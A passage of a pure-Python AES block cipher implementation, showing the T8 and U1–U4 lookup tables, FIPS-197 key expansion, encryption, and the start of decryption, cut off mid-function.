0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ]
124 T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ]
125
126 # Transformations for decryption key expansion
127 U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ]
128 U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ]
129 U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ]
130 U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ]
131
132 def __init__(self, key):
133
134 if len(key) not in (16, 24, 32):
135 raise ValueError('Invalid key size')
136
137 rounds = self.number_of_rounds[len(key)]
138
139 # Encryption round keys
140 self._Ke = [[0] * 4 for i in xrange(rounds + 1)]
141
142 # Decryption round keys
143 self._Kd = [[0] * 4 for i in xrange(rounds + 1)]
144
145 round_key_count = (rounds + 1) * 4
146 KC = len(key) // 4
147
148 # Convert the key into ints
149 tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ]
150
151 # Copy values into round key arrays
152 for i in xrange(0, KC):
153 self._Ke[i // 4][i % 4] = tk[i]
154 self._Kd[rounds - (i // 4)][i % 4] = tk[i]
155
156 # Key expansion (fips-197 section 5.2)
157 rconpointer = 0
158 t = KC
159 while t < round_key_count:
160
161 tt = tk[KC - 1]
162 tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^
163 (self.S[(tt >> 8) & 0xFF] << 16) ^
164 (self.S[ tt & 0xFF] << 8) ^
165 self.S[(tt >> 24) & 0xFF] ^
166 (self.rcon[rconpointer] << 24))
167 rconpointer += 1
168
169 if KC != 8:
170 for i in xrange(1, KC):
171 tk[i] ^= tk[i - 1]
172
173 # Key expansion for 256-bit keys is "slightly different" (fips-197)
174 else:
175 for i in xrange(1, KC // 2):
176 tk[i] ^= tk[i - 1]
177 tt = tk[KC // 2 - 1]
178
179 tk[KC // 2] ^= (self.S[ tt & 0xFF] ^
180 (self.S[(tt >> 8) & 0xFF] << 8) ^
181 (self.S[(tt >> 16) & 0xFF] << 16) ^
182 (self.S[(tt >> 24) & 0xFF] << 24))
183
184 for i in xrange(KC // 2 + 1, KC):
185 tk[i] ^= tk[i - 1]
186
187 # Copy values into round key arrays
188 j = 0
189 while j < KC and t < round_key_count:
190 self._Ke[t // 4][t % 4] = tk[j]
191 self._Kd[rounds - (t // 4)][t % 4] = tk[j]
192 j += 1
193 t += 1
194
195 # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3)
196 for r in xrange(1, rounds):
197 for j in xrange(0, 4):
198 tt = self._Kd[r][j]
199 self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^
200 self.U2[(tt >> 16) & 0xFF] ^
201 self.U3[(tt >> 8) & 0xFF] ^
202 self.U4[ tt & 0xFF])
203
204 def encrypt(self, plaintext):
205 'Encrypt a block of plain text using the AES block cipher.'
206
207 if len(plaintext) != 16:
208 raise ValueError('wrong block length')
209
210 rounds = len(self._Ke) - 1
211 (s1, s2, s3) = [1, 2, 3]
212 a = [0, 0, 0, 0]
213
214 # Convert plaintext to (ints ^ key)
215 t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)]
216
217 # Apply round transforms
218 for r in xrange(1, rounds):
219 for i in xrange(0, 4):
220 a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^
221 self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^
222 self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^
223 self.T4[ t[(i + s3) % 4] & 0xFF] ^
224 self._Ke[r][i])
225 t = copy.copy(a)
226
227 # The last round is special
228 result = [ ]
229 for i in xrange(0, 4):
230 tt = self._Ke[rounds][i]
231 result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
232 result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
233 result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF)
234 result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF)
235
236 return result
237
238 def decrypt(self, ciphertext):
239 'Decrypt a block of cipher text using the AES block cipher.'
240
241 if len(ciphertext) != 16:
242 raise ValueError('wrong block length')
243
244 rounds = len(self._Kd) - 1
245 (s1, s2, s3) = [3, 2, 1]
246 a = [0, 0, 0, 0]
247
248 # Convert ciphertext to (ints ^ key)
249 t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)]
250
251 # Apply round transforms
252 for r in xrange(1, rounds):
253 for i in xrange(0, 4):
254 a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^
255 self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^
256 self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^
257 self.T8[ t[(i + s3) % 4] & 0xFF] ^
258 self._Kd[r][i])
259 t = copy.copy(a)
260
261 # The last round is special
262 result = [ ]
263 for i in xrange(0, 4):
264 tt = self._Kd[rounds][i]
265 result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
